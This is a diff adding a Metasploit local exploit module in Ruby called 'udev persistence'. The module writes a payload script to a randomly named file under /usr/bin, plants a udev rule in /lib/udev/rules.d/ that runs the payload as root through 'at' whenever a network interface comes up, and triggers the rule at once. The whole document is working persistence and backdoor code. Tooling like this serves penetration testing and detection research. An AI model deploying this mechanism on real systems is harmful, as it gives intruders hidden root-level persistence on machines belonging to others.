|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Local |
| 7 | + |
| 8 | + Rank = GreatRanking |
| 9 | + |
| 10 | + include Msf::Post::File |
| 11 | + include Msf::Post::Unix |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'udev persistence', |
| 18 | + 'Description' => %q{ |
| 19 | + This module will add a script in /lib/udev/rules.d/ in order to execute a payload written on disk. |
| 20 | + It'll be executed with root privileges everytime a network interface other than l0 comes up. |
| 21 | + }, |
| 22 | + 'License' => MSF_LICENSE, |
| 23 | + 'Author' => [ |
| 24 | + 'Julien Voisin' |
| 25 | + ], |
| 26 | + 'Platform' => [ 'unix', 'linux' ], |
| 27 | + 'Arch' => ARCH_CMD, |
| 28 | + 'SessionTypes' => [ 'shell', 'meterpreter' ], |
| 29 | + 'DefaultOptions' => { 'WfsDelay' => 90_000 }, |
| 30 | + 'Targets' => [ ['Automatic', {}] ], |
| 31 | + 'DefaultTarget' => 0, |
| 32 | + 'DisclosureDate' => '1999-01-01', |
| 33 | + 'Passive' => true, |
| 34 | + 'Stance' => Msf::Exploit::Stance::Passive, |
| 35 | + 'Notes' => { |
| 36 | + 'Stability' => [], |
| 37 | + 'Reliability' => [EVENT_DEPENDENT], |
| 38 | + 'SideEffects' => [ARTIFACTS_ON_DISK] |
| 39 | + }, |
| 40 | + 'References' => [ |
| 41 | + ['URL', 'https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp'], |
| 42 | + ['URL', 'https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/'], |
| 43 | + ] |
| 44 | + ) |
| 45 | + ) |
| 46 | + register_options([ |
| 47 | + |
| 48 | + OptString.new('PAYLOAD_PATH', [false, 'The payload\'s path on disk', '']), |
| 49 | + OptString.new('BACKDOOR_PATH', [false, 'The backdoor\'s path on disk', '']) |
| 50 | + ]) |
| 51 | + end |
| 52 | + |
| 53 | + def get_command |
| 54 | + unless executable? '/usr/bin/at' |
| 55 | + fail_with Failure::BadConfig, 'The required /usr/bin/at binary was not found on the target' |
| 56 | + end |
| 57 | + %(/usr/bin/at -M -f #{@payload_path} now) |
| 58 | + end |
| 59 | + |
| 60 | + def exploit |
| 61 | + @payload_path = datastore['PAYLOAD_PATH'].blank? ? '/usr/bin/' + Rex::Text.rand_text_alphanumeric(8) : datastore['PAYLOAD_PATH'] |
| 62 | + |
| 63 | + @backdoor_path = datastore['BACKDOOR_PATH'].blank? ? '/lib/udev/rules.d/' + Rex::Text.rand_text_alphanumeric(8) + '.rules' : datastore['BACKDOOR_PATH'] |
| 64 | + |
| 65 | + unless writable? File.dirname(@backdoor_path) |
| 66 | + fail_with Failure::BadConfig, "#{@backdoor_path} is not writable" |
| 67 | + end |
| 68 | + |
| 69 | + if exists? @backdoor_path |
| 70 | + fail_with Failure::BadConfig, "#{@backdoor_path} is already present" |
| 71 | + end |
| 72 | + |
| 73 | + unless writable? File.dirname(@payload_path) |
| 74 | + fail_with Failure::BadConfig, "#{@payload_path} is not writable" |
| 75 | + end |
| 76 | + |
| 77 | + if exists? @payload_path |
| 78 | + fail_with Failure::BadConfig, "#{@payload_path} is already present" |
| 79 | + end |
| 80 | + |
| 81 | + upload_and_chmodx(@payload_path, "#!/bin/sh\n#{payload.encoded}") |
| 82 | + print_status "#{@payload_path} written" |
| 83 | + |
| 84 | + fail_with Failure::PayloadFailed, 'Failed to write UDEV file' unless write_file(@backdoor_path, %(SUBSYSTEM=="net", KERNEL!="lo", RUN+="#{get_command}")) |
| 85 | + |
| 86 | + print_status "#{@backdoor_path} written" |
| 87 | + |
| 88 | + # need to trigger first rule manually |
| 89 | + print_status 'Triggering udev rule' |
| 90 | + cmd_exec('udevadm trigger -v --subsystem-match=net') |
| 91 | + |
| 92 | + stime = Time.now.to_f |
| 93 | + timeout = datastore['ListenerTimeout'].to_i |
| 94 | + loop do |
| 95 | + break if timeout > 0 && (stime + timeout < Time.now.to_f) |
| 96 | + |
| 97 | + Rex::ThreadSafe.sleep(1) |
| 98 | + end |
| 99 | + end |
| 100 | +end |
0 commit comments